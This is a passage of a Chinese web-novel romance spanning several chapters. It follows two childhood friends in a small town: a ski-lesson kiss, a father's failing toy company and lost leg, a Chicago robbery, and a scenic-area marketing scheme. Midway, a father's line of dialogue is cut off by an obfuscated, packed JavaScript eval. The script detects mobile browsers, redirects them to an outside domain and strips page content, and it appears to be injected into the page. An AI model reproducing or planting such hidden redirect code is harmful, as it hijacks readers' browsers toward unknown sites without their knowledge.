俞津杨懒得和她辩,反正在她眼里,他哪哪都差。于是一声不吭地撑着从地上站起来,把她也拉起来后,决定还是回去找教练,但教练说他要下班了,加时的话要多收一百加班费。他无所谓,但李映桥说什么都不肯,说这个教练就是在坑他,于是她拍着胸脯信誓旦旦说:“我保证这次不把你栽雪里了,如果你能学会我的落叶飘,今天教学就算成功了好吧!我不坑你,三百五百的你看着。” 这个落叶飘她自己都还只是刚学会,够呛能教会他。俞津杨不抱希望,然而她这次教得格外卖力,一边给他认真示范动作,一边竟还真的一字不落地和他讲解起注意要点,“双脚先打开,与肩同宽,膝盖要微曲……重心要均匀分布在两脚上,不能有后坐力,不然很容易摔跤,要用前脚掌控,对,踮起脚尖,往哪边飘就另一边的脚发力。” 在魔毯上几个来回后,见他掌握基本的动作要领,李映桥连刚刚教练的口气都复制粘贴过来:“对,不错啊,这不就会了吗?喵,魔毯上不要停留,到了就赶紧出去。怎么样?不难吧?” 确实不难。难得是滑完雪要结账了,她说三百五百随便给,俞津杨却想不出个路子来,三百她肯定嫌少,五百他又觉得亏,他感觉他上当了,一个“不成形”的动作五百,他那个Breaking大拿当年教他头转的时候也不敢这么漫天要价。 那会儿外面天已经黑了。他和李映桥在滑雪场待得时间最久,高典他们几个等教练一走,摔了好几个人仰马翻的大跟之后决定去爬会儿丰潭山,馆内就剩下他俩还有几个零散的顾客,但馆内白雪皑皑,顶灯又雪亮,白上反射着白,丝毫没让人觉得天色多暗,仍旧以为是白天。 等他俩换完衣服出来,刚好站在滑雪场侧门的阶梯处等着高典他们下山,俞津杨才惊觉时间过得这么快,这授课时间确实远超出了教练课时的标准。 他突然又觉得这五百该给,可不等他说话,李映桥却靠在下山台阶的栏杆上,胳膊肘闲适地挂在那,手指头还在栏杆上漫无目的地像个小人似的走着路,走到一半,她表情也像是在掂量什么,突然抬头和他笑着说:“钱我就不要了,喵,你答应我一个小要求吧。” 夜沉沉压着整片山,丰潭山上风也很大,呼啸而为,肆意地摇曳着婆娑的树影,搅得天地混沌。今晚连月亮都没出来,唯独雪场门口一盏青柑桔色的小路灯茕茕孑立着,让两人的剪影在憧憧树影下温存着。 毫无预兆的,俞津杨很快连那点光亮也看不见了,眼前是一片纯粹、凝固、温暖的黑色。 任由那片青柑桔色的光晕,模糊他的眼睛,他的脸被她捧住,一步步被她牵引着,走进那片克制而又悸动的黑色里。 34.第三十三章 李映桥松开他后,没对他解释任何,也没再等高典他们,转身沿着另一条下山路脚底抹油地溜之大吉了。俞津杨当时想追上去,可他却不知道追上去该说什么,要一个答案吗? 要是她能给他答案也不会亲完就跑吧,他怕她只是一时兴起和冲动,那他会不舒服;也怕自己到时候气急攻心说出大逆不道的难听话来,以她的脾气,他俩最后恐怕难以收场。 他想等两天让她冷静下。只是俞津杨没想到,除了在车站那匆匆一面后,他们就再也没有然后了。 也没想到,他会耿耿于怀那么久;更没想到,他曾以为自己无法习惯的,其实也很容易就习惯了。 在上海那两年,他时常在想,只要下一秒她出现在他面前,他可以当作什么都没发生,不跟她计较。后来他决定去芝加哥,他又告诉自己,无所谓了,她在哪都能过得特别好,拥护者一大堆,恐怕早就忘了丰潭这些病残老小了。 *** 李映桥将刮痧馆翻了个底朝天也没见过一把黑色的伞,于是问电话那头的俞津杨是不是记错颜色了,对面笃定地说没记错啊,就是黑色。 李映桥一边举着电话一边掐着腰正苦恼状,旁边正在帮客人刮背的孟以冬给她出了个主意:“如果这个哥们这么计较的话,要不去隔壁买一把还他吧。”她刻意压低了声线,却还是被收入听筒里。 “这谁?”对面问了句。 “我妈的学徒。”李映桥说完,笑着把电话挂了。 孟以冬的声音和她的平头外形很相称,听着像低沉的铜管乐器,人看着像刀锋般锋利,让人不敢亲近,其实是个钝感力十足的刀背。她浑然不觉这话有什么不妥的,正给人刮着背,见李映桥挂了电话盯着她笑,她也无辜地扯了扯嘴角,加大力度猛猛给人搓背,直到对方“嗷”一声叫出来。 “……” 她连道歉都慢半拍,对方涨红的猪肝色都褪了个干净,才后知后觉地想起来和对方说对……不起,我轻点。 果然,她过了好一会儿才蓦然抬头问李映桥说:“我刚刚是不是说错话了。” 李映桥笑笑:“没事,我和他从小玩到大,脾气很好的,不会生你气的。” 孟以冬又无所谓他生不生气的,但还是慢吞吞哦了声。 李映桥观察她一晚上,发现她和赵屏南有点像,甚至长得也有点像。下一秒,赵屏南微信就“叮咚”进来了,让她给发个定位,李映桥吓得脑中顿时一个激灵。 纯情屎壳郎蹦恰恰:「做咩?」 对面回:「嘿嘿,我妈刚炒了一批新茶叶,我送过来给你尝尝啊,我自己开车过来,你给我个定位,我已经快到丰潭的收费站了。」 纯情屎壳郎蹦恰恰:「发送一个位置信息」 纯情屎壳郎蹦恰恰:「不是,你从庆宜自己开车过来啊?几个小时?」 赵屏南:「三个小时吧,我吃完晚饭就出发了。这批茶叶是我自己亲手摘的,我自己找的承包商,品牌也是我自己找人设计的,现在正在谈一个品牌代言人,等着啊,我马上到。」 纯情屎壳郎蹦恰恰:「嗯,你待几天,我先给你定个酒店。」 赵屏南没说,卖了个关子回见面说。 *** 俞津杨挂断电话推门而入时,俞人杰正仰头靠在沙发上闭目养神,一条腿踩在地上,一条腿搭在茶几边缘上,小腿以下的裤管空荡荡,西裤布料像流苏似的静静挂着,拐杖支在一旁的沙发扶手上。 唐湘已经不在,浴室传来哗哗流淌的水声,他把手机滑进裤兜里,在刚刚唐湘的位置上坐下,拿起茶几上的遥控器,把客厅无声播放着电视剧的画面给关了—— “我明天打算带甜筒去参观一下幼儿园,如果她能适应的话,就把她放在咱配套的小区幼儿园好了,以后我接送她。如果回市里,我怕你们忙不过来,她也适应不了。保姆护工我不太放心。” 俞人杰气定神闲靠在那,眼皮都懒得掀开:“你决定吧,反正我现在连这个小区都出不了。” 俞津杨笑了下,话里有话:“您不都开着轮椅出去逛过了吗?” “没有,”俞人杰不愿承认,“破轮椅有什么好开的。” 俞津杨看着他没再说话,只是笑着。 俞人杰这才睁开眼,转头盯他片刻后,正容亢色道:“公司的事儿,你怎么想的?” “什么,”俞津杨伸手从茶几桌上捞过一颗陈皮糖,顿住片刻,才继续边拆包装边看着他爹慢条斯理地回说,“妈说去年亏不少,账面资金都见底了好像?是不是海外那两笔尾款没收回来?” 从前说,三十河东,三十年河西。然而,现如今是快餐时代,电视剧可以三倍速,弹幕成了当代年轻人示爱的天幕,时间的通货也自然拦不住——半年CEO,半年ICU的例子也屡见不鲜。 俞人杰也不例外,起初他自己不愿承认,现在他不得不承认他确实是风口上起飞的猪,加上老爷子在丰潭木匠里的好口碑,确实让当地很多人对他们家的产品趋之若鹜。 只是一八年之后,欧盟颁布的新条令,让玩具产业遭受前所未有的重创,紧跟着疫情的爆发,海外订单频频取消,原本企业正常的九十天周转天数,一下子翻了四倍,有些甚至到现在都没收回来。 市场份额迅速被欧亚其他国家的企业挤占不说,紧跟着连木材进口价都上涨了百分之五六十。九七年的金融风暴再次上演,丰潭的木玩企业随之也再次以秋风扫落叶的速度,一家家纷纷落牌,有个负债上亿的前几年要跳星光塔,被人给拦下来。 俞人杰能坚/挺到现在都是因为他早年挣太多了,靠着其他的被动收入勉强还能维持住局面。 偏也就是这种不尴不尬才难受,索性破产了,他能毫无负担地宣布倒闭,给员工们发笔遣散费,他也算是体验过限定的富豪人生了。但俞人杰的命里多少又带点偏财,账面资金每次告急的时候,都能莫名其妙收回来一大笔钱,又能勉强维持一阵子的开支,就这么半死不活地拖了他两年,想关不能关,直到最近发生这么多事,他才正儿八经考虑起退休这件事。 俞津杨想了想说:“您要问我怎么想,我肯定是希望您振作起来,好好把公司经营下去,比上不足比下有余嘛,丰潭死那么多木玩企业,您能活下来就是胜利,再不济,咱还有甜筒,等她长大了,可以养我们三个。” “别一天到晚想着你妹养你,”俞人杰想踹他一脚,但他现在身不由己,一抬脚人就要倒下去了,于是也只能横眉竖眼地啐他一声,“那我也不瞒你了,德国那边还有三批次的水性漆尾款没结,多半是收不回来了。” “你知道现在跨境电商那边库存的滞销率是多少吗?超过百分之七十。全在电商FBA的仓库里积压着,所以我们根本收不回尾款,我当时还投了一千万在STEAM教育玩具的开发上,结果设计师跟人跑了,研发几个核心人员也相继跟着跑了,这笔钱我现在扔水里连个响都听不到。” 俞津杨听出他的意思,给了个话引子:“那您和我妈怎么想的?” “你妈的意思把公司卖给李伯清,他想搞让他一个人搞去,我和她回海南待一段时间,但你又刚从芝加哥回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708770|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,甜筒也不可能真跟我们去海南上学吧,再说婉娟女士都一百零三了,还坚/挺着,我说什么也不能就这么跑了。我再考虑考虑。”俞人杰低着头看自己那条空荡荡的裤腿说。 俞津杨顺他的视线也看过去,目光再也没挪开,只微微垂下眼皮。这半年来家里的气氛就像一颗濒死的发财树,无论浇多少营养液效果都适得其反。唯有什么都不懂的甜筒偶尔还能刺破这片死寂,越是这样,俞津杨和唐湘越是煎熬,甜筒懵懂天真的声音反而更像是在锯着他俩的神经。 但人的适应能力真的很强,俞人杰反倒也慢慢开始习惯,他有时候还能自己调侃两句,你们看,两条腿的男人真不好找,咱们家里居然只有一个。俞津杨这种时候也只能苦笑,他倒是宁可那一个不是自己。 “行了,别盯着看了,我真挺好的。”俞人杰在他后脑勺上狠狠捋了一下,他抬起腿,上下晃了晃,“这算啥,不就一条腿么,你别露出这种伤春悲秋的表情啊,你妈当初一个人在海南生你的时候,那才难受呢,只是她受的苦我没能陪着,但我受的苦,她也都跟着受,哎——我又想离婚了。” “作一次就够了啊。”俞津杨无奈地撇开头,“等会儿我妈听见,她要真气走了,你追都追不上。至少等过阵子装上假肢了,你要真觉得拖累她了再说,至少那时候你追起来还能装模作样地跑两步。” “……坏小子。”俞人杰二话不说拿拐杖抽他小腿上,准备进屋洗澡去了,疼得俞津杨呲牙咧嘴笑倒在沙发上,很快,他收了笑。 人真是种可怕的动物,无论到什么境地,永远都能习惯。小时候他从没想过自己家里会发生这种天翻地覆的变化。他爸那么自恋的人,连头发掉几根都要他妈夸两句才能出门去上班,甚至临出门前至少要照十分钟后视镜的人,竟然也能适应如今肢体上缺少的部分。 他从芝加哥辞职的时候,家里已经瞒了半月有余。等他的辞职报告被批准,订完机票,收拾完所有东西飞回来的时候,将近是一个月后。 他一下车就往医院赶,连气儿都没喘匀,然而,俞人杰躺在加护病房,见到他第一句话居然是:“从芝加哥跑回来的啊?这么喘。” 他根本接不上话,俞津杨只知道自己的视线和他胸腔里那颗心脏一样,完全不受控地一直往下坠,坠入无底洞一样,直到看见他的左腿—— “没了,别看了。”俞人杰也大大方方亮出来,小腿以下的裤管空空荡荡,“等爸爸装上假肢,让你看看什么叫真正的Popping,绝对比你跳得帅。” *** 俞津杨洗完澡从浴室出来,额前发梢还在滴着水,脖子上歪歪斜斜地搭着条黑色毛巾,他草草擦了两下,轻手轻脚推开甜筒房间看了眼,确定她抱着小鸡熟睡后,给她关上门。 吹风机也没法用,他只能再次拉开阳台的推拉门出去,坐在阳台的藤椅上,等着风干,偶尔有水珠溅到睫毛上,眨眼的瞬间渗入眼眶里,生水的干涩疼得他下意识闭眼仰头。 也就是这会儿,手机在兜里闷闷地震了几下,大腿麻了两下。 他捞出来,忍着疼痛眯着眼看了眼信息,看完后他决定把主屏幕界面上的“诺基亚开机广告”壁纸给换了。 想了想,又把微信名也给改了。 改完后,继续用毛巾心不在焉地擦拭着头发。 下一秒,自己都无语了,擦着头发笑出声—— 这不是更明显了吗? 有什么好改的,就叫D321怎么了。 北京到上海又怎么了?北京他也认识好多人的好不好。 35.第三十四章(二更合一) 俞津杨决定改回小时候为了偷懒写在卷子上的名字——人杰儿子,多么简洁明了、头脑简单、四肢发达的四个字儿。 他改完盯着手机,自己后背陷在藤椅里笑了半天,毛巾还胡乱搭在湿发上,想了想,他又一边漫不经心地擦着头发,一边给改成婉娟曾孙,自己在那没头没脑地又笑了半天,最后还是觉得不太妥,决定只把D字母删掉。 坦白讲,连他自己都很难说清这会儿对李映桥是什么想法。照片是在芝加哥被人差点骗去俱乐部跳脱衣舞的时候换上的,那张诺基亚开机照片一直在他出国行李箱的夹层里放着。 其实他已经忘了两人小时候在课堂上到底为了什么大打出手,反正李映桥一拳过来他已经不省人事了。唐湘女士虽然给了他珍贵的生命,但也架不住他打小身边就有个阴魂不散的小人。 老师还让他俩握手言和拍照留念,说实话,他当时白眼都翻上天,所以那位老师也很鸡贼地只拍了手部照片。 那时候他是抱着想让李映桥吃下去的目的去跟老师要回这张照片的,但李映桥那天应该是吃饱了她说她不吃,让他拿回家擦屁股,他才不要。结果唐湘说什么也不肯丢,还说很可爱,特地夹在他小时候的相册里。 后来出国当壁纸用到现在,倒也说不上多念旧。他从小不算花里胡哨的性格,一部手机能用四五年不换屏保都是常有的事,连Q/Q头像和名字都还是注册的时候系统自带的那个。 高中学校里几乎都是用Q/Q群,但也有不少人注册了微信,俞津杨高一的时候也注册过一个,但他没加过几个好友,那时候微信功能列表里有一个很醒目的漂流瓶功能,还带语音的。 有天晚上,他刷题刷到爆肝闲着无聊就开始鬼使神差地捞瓶子。结果给他看得面红耳赤,心跳怦怦的——里面全是充满露骨挑逗意味的色/情语言。 俞津杨当天就把微信给卸载了,他觉得这个软件不太正经,都是成年人玩的。他还劝高典也删了,不然被李映桥知道一定转头和家长告状说他俩玩成人软件。 后来微信成了大众社交软件,漂流瓶功能也下线了。俞津杨大一又重新申请了一个微信号,他当时正在查上海到北京的动车班次,就随便取了个动车号当微信名。 后来转念一想,李映桥还没有他的微信,如果他改成北京到上海的动车班次,那等下次他们加上微信的时候,他多少能从她的反应里看出她在北京有没有想过他或者也偷偷查过他的动车班次。 只是他没想到,等真的加上微信,他俩已经二十八岁了,那些年少时期的暧昧情愫,早就过了真正意义上的“追诉期”。 他也不想让自己看起来太过执着——好像一张明明已经过期的彩票,买的人倒是没指望能中奖,他生怕自己是个便宜货,又是自掏腰包又是砸锅卖铁,也要拿出奖金池的奖额告诉对方,你中得是我这个头奖。 这确实没太大意义,再滚烫的水沸腾这么些年也该烧干了。岁月是个没有赔偿款的拆迁队,无论他曾经心里有过多少秘密堡垒,这些年也都被拆得七七八八了,他早就没跟她较劲了,在芝加哥他其实一直拿这张屏保当辟邪用。 他当时因为签证问题入学晚了几天,就没能分到学生的UA公寓,于是只能在Domu上自己先租房,等学校那边有消息再通知他。 他那时候太年轻,在芝加哥求学的留学生可以说是人人都有一颗警惕到牙齿的心,但那时候俞津杨没有,他被俞人杰保护太好,出国才知道外面多乱。他从来没想过在本地认证平台软件上租房还要自己先做背调,所以他前脚跟人约好去看房,后脚一进门就被人拿枪抵在他后脑勺上,要他交出钱包和手机。 芝加哥南部很乱。他略有耳闻,只是没想到明目张胆到这个程度,好在李映桥以前老趁他不备攻击他后脑勺,他的警惕心全留给后脑勺了——在对方用那蹩脚的、该死的英语开口之前,他已经习惯性后撤半步,右手几乎是条件反射去钳住对方持枪的手腕,左手顺势抓住对方的肘关节,猛地往下一沉,对方顿时发出一声凄厉的惨叫,枪支几乎“啪嗒”应声落地。 俞津杨一秒没停,当机立断地将手枪一脚踢到客厅的斗柜底下。紧跟着借着对方前冲的惯性,一个干净利落的过肩摔将人狠狠掼在地上,发出“砰”一声巨响。结果楼梯上闻讯下来几个留学生查看楼下的动静,才知道他们的租房信息和密码被盗用了。 那几个留学生都是中国人,和他用英文聊了两句,立马问他是不是中国人。俞津杨说对。领头的男生直接划开微信对他讲说:“房东就住在隔壁楼里,这幢只租给学生,你I-20签证拍个照给我。芝大有个GPA没过刚退租的,空出一间房。如果没问题你直接找房东签。” 这人叫钟肃,后来和他在芝加哥当了好几年的室友。后来俞津杨家里出了事,他爸名下所有的房产和银行账户全部被冻结,他只能靠自己去挣学费,又在钟肃的穿针引线下加了某个地下街舞团,结果又差点被人骗去给富婆们跳脱衣舞,反正那阵倒霉事太多,在通勤站等车的时候说实话,俞津杨都不敢离警卫亭太远。 但自从换上那张壁纸后,奇迹般地,倒霉事少了很多。连便利店那位墨西哥裔店员都能少调戏他两句,俞津杨称之为偶像的力量,后来回国索性连微信名也懒得换,反正李映桥也不在他的好友列表里。 只是,现在加上微信,他确实不好这么明目张胆地拿人家辟邪了。李映桥显然也只是想跟他做朋友而已,连伞都不愿意多拿一把,生怕自己又缠上她。那他还真没往那方面想,隔了这么多年,怎么可能还抱有那些不切实际的遐想,何况他们两家关系总有些龃龉,其实现在这样也挺好。 从理发店相遇到李伯清的鸿门宴,其实他能感觉到这次李映桥知道李武声把他爸给撞了这件事的局促,以及她对他的小心翼翼和讨好。 俞津杨仰头看着夜空,眼神木然,眨眨眼。没有星星,没有月亮,啥也没,啥也没天还这么黑得没天理。他想了想,索性又给李映桥拨了个语音过去,手还拿着毛巾无意识地擦着后脑勺早已干透的发梢。 “李映桥。” “怎么了,喵!”她声音一如既往地轻快。 不知道她人在哪,他听见话筒那边有行李滚轮碾过地面的辘辘声响。 “你去哪儿?” “没有,一个朋友来找我玩,我正在帮她办理入住。”李映桥把身份证递给前台。 “嗯,要帮忙吗?” “不用,我们都安排好了。”李映桥等前台登记,将手机换到耳边另一侧,倚着前台的大理石台面,瞥了眼一旁的赵屏南,半开玩笑地对电话那头说,“怎么了,你要欢迎一下我的朋友吗?” 俞津杨想了想,说:“那就你转达一下,丰潭欢迎她。李映桥,明天我也有个朋友来,你也欢迎一下,我转达。” 李映桥说:“好,丰潭也欢迎他。他叫什么。” “钟肃。你朋友呢?” “赵屏南。” 他俩说完自己都笑了,李映桥才问他:“你到底什么事儿。” 俞津杨这才把毛巾扔到桌上,咳了声,语气温和倒是也郑重,难得字正腔圆道:“没别的事,只是想最后再跟你确认一次。” “什么?” “你在外面真没遇上事?” 李映桥也收了笑:“真没。” 他沉默片刻后,声音也放低了:“好,以后不问了,丰潭也欢迎你。” 李映桥从前台手里接过房卡,和赵屏南挑了下眉示意上楼,然后边往电梯走边逗他说:“是是是,谢谢俞书记。” 俞津杨自己也笑了,他下意识想到李伯清,想说在丰潭这都快成骂人的话了。 李映桥当然也察觉到他不太想接这话:“哎,你这人思想觉悟确实差点。行了,不耽误你日理万机,喵,我先带她去吃点夜宵。” “到底谁日理万机。” “我我我。” 他笑了声,叫住她:“李映桥,最后一遍。” 她心领神会,无奈道:“喵大少爷啊,我真没遇上——” “我知道,我想说的是,我们友谊万年长。”他打断道,“挂了。” *** 丰潭夜宵摊也几乎是整座城市最热闹的地方,不光吵还全是光膀子的中年男人,一箱箱啤酒往外抬。李映桥决定叫点外卖和赵屏南回酒店吃,等她们吃完,赵屏南给她泡上她自己炒的茶叶,迫不及待问她:“怎么样,好喝吗?” 李映桥对茶叶没有研究,喝不出什么味,就感觉入口有些涩,好像和普通的绿茶没什么两样。 “还行。” 赵屏南悻悻地收起嘴角:“行了,我也不瞒你了。其实这就是很普通的绿茶,我这次其实是偷跑出来的,我根本不喜欢炒茶叶,我想干点别的。” 李映桥又喝了口,觉得口感好点:“那你们家的茶山怎么办?” “政府要征收,估计会给一笔赔偿款,大概两千万。我妈正犯愁呢。” 李映桥:“……” 赵屏南刚要给她续上茶水,李映桥默默拿过泡茶的杯子,“我来,我来。” 赵屏南:“……” 她不可思议,柳眉剃竖地说:“你!你竟是如此肤浅之人!” 李映桥笑了,笑得也是毕恭毕敬,替她斟好茶,放下茶壶说:“不然呢,赵大小姐?行了,你有话就说,这么大老远跑来找我,我不信你只是想给我送茶叶。” “……我在家太无聊了,”赵屏南叹了口气说,“炒茶叶我不想干,但除了这个别的我也不会干,让我再回去上班我也没那个耐心了,不是我凡尔赛,这么点钱我真犯不上。那天刷到你朋友圈,发现你回丰潭了,马上连茶叶我也不用炒了,所以我就说过来看看你在丰潭忙些什么。” “我能忙什么,给人当牛做马咯。”李映桥端起茶喝了口说。 “你不是后来去了Convey旅途吗?那不是大厂吗?小北说你丫可牛了,都干到市场部总监了,怎么又跑回来了。” “……我感觉你想问八卦。”李映桥戳穿她说。 “……那传言是真的吗?说你和Convey那个副总的事。” 李映桥言简意赅:“假的。” “好吧。”赵屏南倒也没多问,“所以你辞职跟他也没关系?” “有关系。”这点李映桥没瞒她,“但总归不是外面传的那样,小北他们公司那边消息不准确,和他对接的那 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钟肃跳上副驾,见他表情怪异地瞥他,笑着去扯安全带,解释说:“真不是我记忆力好,是很少从你嘴里听到女孩的名字,所以你当时说到你有个青梅竹马的时候,我才一下子就记住了。” 俞津杨却一动不动地盯着他,安全扣“啪”一声响,另只手还搭在方向盘上,空调出风口正往外大吐气,车内只剩下徒劳的空调嘶嘶呼呼声,因为俞津杨正静静看着他。 钟肃干笑一声,活跃气氛说:“你打玻尿酸了啊,脸这么僵。” 他仍是没动作,钟肃莫名其妙,肩膀上毫不留情地捶他一拳:“不是,兄弟你——” 俞津杨表情平静地看他说:“你不说谢谢的吗?” 钟肃笑容也凝固:“谢什么?” 俞津杨:“她说欢迎你,你不说谢谢吗?” 钟肃:“…………” *** 李映桥第二天也直接和赵屏南自己上山去取车,没再麻烦俞津杨。 这几日,她就陪着赵屏南在小画城走街串巷,四处游荡。其实也就是一整条川明老街,川明街的青石板路从巷子口蜿蜒至码头,两侧的铺面鳞次栉比,如今装修出奇一致,没有小时候那么杂乱无章,有些铺面像夹在中间像是两家店的公共厕所,比如蒲辉的牙科诊所,如今竟还开着,铺面还变大了。 两旁的飞檐斗拱在青天白日里勾勒出一抹让人难以忘却的黛色,整条街道仍旧是常年浸润在河水里的腥潮气从青石板缝隙里无声无息地漫上来,馄饨店、诊所、奶茶铺子、麻油鸡很多铺面都还开着,走到巷子口还能闻到小时候那股熟悉的麻油鸡混着地沟油的味道。 只是对面的画城小学已经被夷为平地。没了坦克,自然也没了当初那批能让俞人杰跳脚的皮猴儿们,俞人杰现在也很难被气得跳脚了。丰潭这两年日新月异,唯独小画城倒像是老式放映机里被遗留的影像。 不过也开了不少新店,都是景区的文创产业。她舅舅的铺面早几百年前就为了填补厂里的亏空给卖掉了,春珍奶奶的糖糕铺子早就歇了业,她的孩子们听说都在一线城市买了房子,这几年也很少回来。但春珍奶奶竟还坐在门口那张褪了色的太师椅上,李映桥和她打招呼,老人没什么反应,浑浊的目光只从她脸上茫然掠过,那双如棕皮树般全是褶子的手整整齐齐地叠在肚子中央,慢慢又闭上眼,连眼神都没聚过焦。 “小时候我和我朋友最喜欢看她切糖糕,她切得又快又整齐,完全强迫症的天堂。我和我朋友封她为丰潭糖糕女王。我们有时候蹲着看她切糖糕能看一下午,超级治愈。”李映桥笑着和赵屏南说。 赵屏南环顾一圈,景区空荡荡的近乎寂寥廖。除了一些老太奶们在夕阳下缓慢移动着,影子被拖得老长,她不免为李映桥担心起来:“我就是说你要不要再考虑一下,在这上班和养老没什么区别了,你确定要这么早就开始养老啊?” 李映桥思索片刻,看着赵屏南来了句,“要不,你在这闲着也是闲着跟着我干算了,看看是不是在这养老,咱要觉得干得还不错,也让咱妈来这投点怎么样?” 赵屏南顿时眼睛发亮,跃跃欲试道:“行啊,从哪开始?” “嗷呜——嗷呜——嗷呜——” “咚!咚!”赵屏南又捶了两下胸口,继续嚎,“嗷呜——嗷呜——嗷呜——” 她停下来,好奇凑过去问:“像吗?” 两人已经回到酒店,李映桥坐在床上,在一番训练下,赵屏南已经颇有成效,她一本正经地拿着视频一一比对,由衷夸赞道:“像,太像了。你简直天生吃这碗饭的。” 赵屏南:“可这像话吗,你让我在景区扮演npc就算了啊,还是个到处瞎晃的猿人。你自己呢?” 李映桥:“我得负责拍视频啊,不然你不是白嚎了?” 赵屏南点头:“也对,说不定真火了。好吧,为了你的网红景区,我可以牺牲一下,那你那些小时候的朋友们呢,他们扮演什么。” 李映桥:“扮演在景区里被攻击的游客们。” 赵屏南再次肯定地点头:“妙哉,好点子,但被谁攻击?” 李映桥:“猿人。” 赵屏南:“……………” 就她一个外地人是吧? 36.第三十五章 李映桥又带着赵屏南在丰潭瞎晃了两天,李伯清仍旧没有给她电话。李映桥临上班前一晚给他拨了个电话过去,对方没接。她重重叹了口气,李书记这格局也没多大嘛。 于是她发了个朋友圈,三分钟后,李伯清电话没进来,李连丰的电话倒是先打进来了。李映桥接起电话,先发制人地嘿嘿一笑说:“连丰哥,这么晚还刷朋友圈呢?” 李连丰还在应酬,电话那头觥筹交错声不绝,也不跟她装模作样:“映桥,先把朋友圈删掉,我们再聊。可以吗?” 半晌,她举起电话说:“删掉了。不过您也别紧张,我仅对你们可见。” 李连丰松了口气,忍不住开始端起姿态教训她:“这种饭局照片以后不要乱发。映桥,我一直以为你是聪明人,所以那天也没特意提醒你。” “当然。”李映桥应得相当快,好像挂在店门口的风铃一触即响,声音轻快说,“只是李书记这事儿办得不太厚道,俞叔叔现在这情况,我不知道他安得什么心,攒这么个让我里外不是人的局。连丰哥,你说我冤不冤。” 她声音婉转动听,隔着电话竟真有些楚楚可怜的意思。 “冤。”李连丰几乎下意识点头说,很快又话锋一转,“但这也是你自找的,人是你自己带去的。几个老头这几年本来对他父亲有意见,在门口我还提醒过他,这顿饭他肯定吃得不舒服,他自己执意要陪你进去。我觉得我仁至义尽了。” “是吗?”李映桥只淡淡问了句,没听出什么情绪,“那可以因为中间阴差阳错的发展导致事情脱离了你们一开始的掌控,就可以抹掉你们一开始攒这个局的不良动机吗?这锅难道想让我背啊。连丰哥,你也不厚道。” 竟然没被他绕进去,李连丰有些意外地挑了挑眉,也没想到她口齿这般伶俐。原本只想打个电话随便提醒一下她,这会儿他也站起来往外走,站在僻静的走廊尽头和她认真谈:“那你想怎么样?和津杨吵架了?” “他说要和我绝交。” “你这么优秀,不缺他这一个朋友。” “嗯,我也这么想,我俩微信都是刚加上的。”李映桥说,“不说他了。我做了小画城一整年的运营预算方案,李书记不接我电话,我后面找谁要这笔钱?” 原来是来要钱的。李连丰握着电话,失声笑道:“你发给我吧,回头我给老爷子看。” 不等她回,李连丰又补充说:“以后小画城所有的策划和预算方案,都直接发给我。我会替你转交。” “好嘞。”李映桥愉快挂断电话。 李连丰效率很快,没几天,预算方案的审批就下来了。李映桥那会儿正和上一任办理交接手续,办完后,她把所有人召集到一起,准备开个会,把任务分配下去,结果发现整个景区的市场部办公室冷冷清清,加上她,总共四个人,其中还包括了猿人扮演者赵屏南。 也就是说,市场部的工作人员只有两个,一个叫吴娟,本身就住在小画城,但李映桥从前没见过她,她也没提自己小时候在这住过的事。还有一个叫潘晓亮,也是潭中的,比她小两届。 李映桥在会议上宣布的一个决定,让两人瞠目结舌,也费解。 “猿人大会,谁要看。”吴娟啊了声,“还要做一个系列,轮流吃香蕉吗?” 潘晓亮刚要说话,一旁突然有人“嗷呜”一声。 赵屏南坐在那毫无预兆地嚎了声,相当得心应手,眼神却很平静地看着他俩:“不会吗?很简单啊。我两分钟就学会了。” 说完,“咚咚”捶了下胸口。 潘晓亮和吴娟对视一眼:“…………” 会议结束半小时后,潘晓亮再次推门而入,把一份新鲜出炉的辞职报告毫不犹豫地拍在李映桥办公桌上,辞职理由很简短、也铿锵有力:只是想要一份体面的工作。 李映桥完全明白,看着辞职报告频频点头,然后抱着胳膊沉思片刻后,也只问了句:“真不再试试?” 潘晓亮虽跟“帅”字不沾边,在丰潭是最常见的一块板砖,砌在哪都不觉得突兀。但是相比较同龄人来说,他潭中出身,有车有房,还有一份相对来说收入稳定的工作,模样长得算周正。 他自认他这块砖也算不上普通,至少在丰潭的相亲市场,他很炙手可热。李映桥一走进这个办公室能从他的言谈间,感受到他的傲慢。果然讲不到三句话,他又开始提潭中:“李总,我是潭中毕业的,政府各个部门都有我的同学,我真丢不起这个脸。到时候网上都是我扮猿人的视频,我爸妈也接受不了的。吴娟父母肯定也接受不了的,她爸妈都是公务员,到时候被单位的同事刷到,丢脸死了。” “你说的对。”李映桥就这么一句。 潘晓亮本来准备了一箩筐的话要怼她。被她这么轻描淡写的一句话回得不知道该怎么往下接,心里有惴惴不安起来,只好说:“所以呢?你还是坚持要猿人大会是吧?” “对。” “……”潘晓亮几乎背过气去,“就没有其他体面一点的起号方式是吗?” “你还要辞职吗?” 潘晓亮忿忿抽回自己的辞职报告,见辞职威胁无用,涨红着脸说:“你在丰潭没有喜欢的人是吧!” 这倒是让李映桥听出来,难怪他二话不说去写辞职报告了。她笑了声:“潘晓亮,我在会议上说的话,你是不是一句都没听,我最后说了猿人是自愿报名的,你耳朵长在屁股上开会一坐下就自动关上了是吧?” ……猿来如此。 一周后,猿人大会这个项目进入了紧锣密鼓的拍摄中,小画城这个景区账号在各个社交平台上也都相继注册了账号。除了潘晓亮有点小城未婚青年的包袱之外,猿人报名人数空前高涨,连吴娟都报名了,她说爸爸妈妈早就退休了,谁在乎同事刷不刷到的。 高典是第一个刷到猿人招募信息,二话不说拉着兄弟几个来报名。但高典有妆发要求,说不能太丑,要给他化妆,转头问另外几个人均一米八八的大高个,他们对妆发倒是没要求,但是不能露点。 李映桥刚要说咱这是正规单位。 潘晓亮这会儿坐不住了,哪来这么多又高又瘦的帅哥,搁平时他在丰潭都算有点回头率了,这几个帅哥一起出街那不得把回头率拉爆表了。关键这些帅哥居然都没未婚青年的包袱吗?他突然觉得,跟着李映桥混说不定真能涨工资。 